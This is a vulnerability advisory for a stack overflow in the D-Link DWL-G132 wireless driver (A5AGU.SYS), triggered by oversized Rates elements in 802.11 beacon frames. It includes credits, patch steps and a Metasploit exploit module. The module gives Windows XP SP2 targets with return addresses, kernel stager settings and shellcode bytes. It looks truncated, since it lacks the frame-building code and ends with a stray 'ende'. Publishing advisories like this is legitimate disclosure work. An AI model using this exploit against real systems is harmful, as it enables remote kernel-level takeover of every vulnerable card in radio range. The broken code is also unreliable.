D-Link DWL-G132 Wireless Driver Beacon Rates Overflow

Summary
The D-Link DWL-G132 wireless adapter (USB) ships with a version of A5AGU.SYS that is vulnerable to a stack-based buffer overflow.
 
Credit:
For the original advisory visit MoKB.
H D Moore - discovery and exploit development.
Matt Miller - kernel-land staging and debugging.
Johnny Cache - debug, test, ninjosity.
LMH - MoKB release.
 
Details
Click here to get expert advice, live
Description:
The D-Link DWL-G132 wireless adapter (USB) ships with a version of A5AGU.SYS that is vulnerable to a stack-based buffer overflow. This overflow can lead to arbitrary kernel-mode code execution. The overflow occurs when a 802.11 beacon request is received that contains over 36 bytes in the Rates information element (IE). This vulnerability was tested with version 1.0.1.41 of the A5AGU.SYS driver and a D-Link DWL-G132 USB adapter (HW: A2, FW: 1.02). Newer versions of the A5AGU.SYS driver are provided with the D-Link WUA-2340 adapter and appear to resolve this flaw, but D-Link does not offer an updated driver for the DWL-G132. Since this vulnerability is exploited via beacon frames, all cards within range of the attacker will be affected. The tested adapter used a MAC address in the range of 00:11:95:f2:XX:XX. D-Link was NOT contacted about this flaw. A search of the SecurityFocus database indicates that D-Link has not provided an official patch or solution for any of the seven flaws listed at the time of writing: (BIDs 13679, 16621, 16690, 18168, 18299, 19006, and 20689). To install a patched version of the A5AGU.SYS driver, first install the WUA-2340 driver from the link below, then re-install the DWL-G132 driver. Browse to the WUA-2340 installation path, find the Drivers subdirectory, and copy all of these files (at least, the .SYS and .BIN files), to your Windows\System32\Drivers directory, overwriting the existing files with the same name. Finally, reboot your system.

Debugging information:
All tests were performed with version 1.0.1.41 of the A5AGU.SYS driver. Although this driver is for the Windows operating system, Linux and FreeBSD users of the ndiswrapper tool should determine if they are using A5AGU.SYS and upgrade accordingly.

Exploit: (Metasploit)
require 'msf/core'

module Msf

class Exploits::Windows::Driver::DLink_DWL_G132_WiFi_Rates < Msf::Exploit::Remote

 include Exploit::Lorcon
 include Exploit::KernelMode

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'D-Link DWL-G132 Wireless Driver Beacon Rates Overflow',
   'Description' => %q{
    This module exploits a stack overflow in the A5AGU.SYS driver provided
   with the D-Link DWL-G132 USB wireless adapter. This stack overflow
   allows remote code execution in kernel mode. The stack overflow is triggered
   when a 802.11 Beacon frame is received that contains a long Rates information
   element. This exploit was tested with version 1.0.1.41 of the
   A5AGU.SYS driver and a D-Link DWL-G132 USB adapter (HW: A2, FW: 1.02). Newer
   versions of the A5AGU.SYS driver are provided with the D-Link WUA-2340
   adapter and appear to resolve this flaw, but D-Link does not offer an updated
   driver for the DWL-G132. Since this vulnerability is exploited via beacon frames,
   all cards within range of the attack will be affected. The tested adapter used
   a MAC address in the range of 00:11:95:f2:XX:XX.
  
   Vulnerable clients will need to have their card in a non-associated state
   for this exploit to work. The easiest way to reproduce this bug is by starting
   the exploit and then accessing the Windows wireless network browser and
   forcing it to refresh.
  
   D-Link was NOT contacted about this flaw. A search of the SecurityFocus
   database indicates that D-Link has not provided an official patch or
   solution for any of the seven flaws listed at the time of writing:
   (BIDs 13679, 16621, 16690, 18168, 18299, 19006, and 20689).
  
   This module depends on the Lorcon library and only works on the Linux platform
   with a supported wireless card. Please see the Ruby Lorcon documentation
   (external/ruby-lorcon/README) for more information.
   },
  
   'Authors' =>
    [
     'hdm', # discovery, exploit dev
     'skape', # windows kernel ninjitsu
     'Johnny Cache <johnnycsh [at] 80211mercenary.net>' # making all of this possible
    ],
   'License' => MSF_LICENSE,
   'Version' => '$Revision: 3583 $',
   'References' =>
    [
     ['URL', 'ftp://ftp.dlink.com/Wireless/dwlg132/Driver/DWLG132_driver_102.zip'],
    ],
   'Privileged' => true,
                       
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },

   'Payload' =>
    {
     # Its a beautiful day in the neighborhood...
     'Space' => 1000
    },
   'Platform' => 'win',
   'Targets' =>
    [
     # Windows XP SP2 with the latest updates
     # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
     [ 'Windows XP SP2 (5.1.2600.2122), A5AGU.sys 1.0.1.41',
      {
       'Ret' => 0x8066662c, # jmp edi
       'Platform' => 'win',
       'Payload' =>
       {
        'ExtendedOptions' =>
        {
         'Stager' => 'sud_syscall_hook',
         'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
         'Recovery' => 'idlethread_restart',
         'KiIdleLoopAddress' => 0x804dbb27,
        }
       }
      }
     ],
    
     # Windows XP SP2 install media, no patches
     # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
     [ 'Windows XP SP2 (5.1.2600.2180), A5AGU.sys 1.0.1.41',
      {
       'Ret' => 0x804f16eb, # jmp edi
       'Platform' => 'win',
       'Payload' =>
       {
        'ExtendedOptions' =>
        {
         'Stager' => 'sud_syscall_hook',
         'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
         'Recovery' => 'idlethread_restart',
         'KiIdleLoopAddress' => 0x804dc0c7,
        }
       }
      }
     ]
    ],

end
ende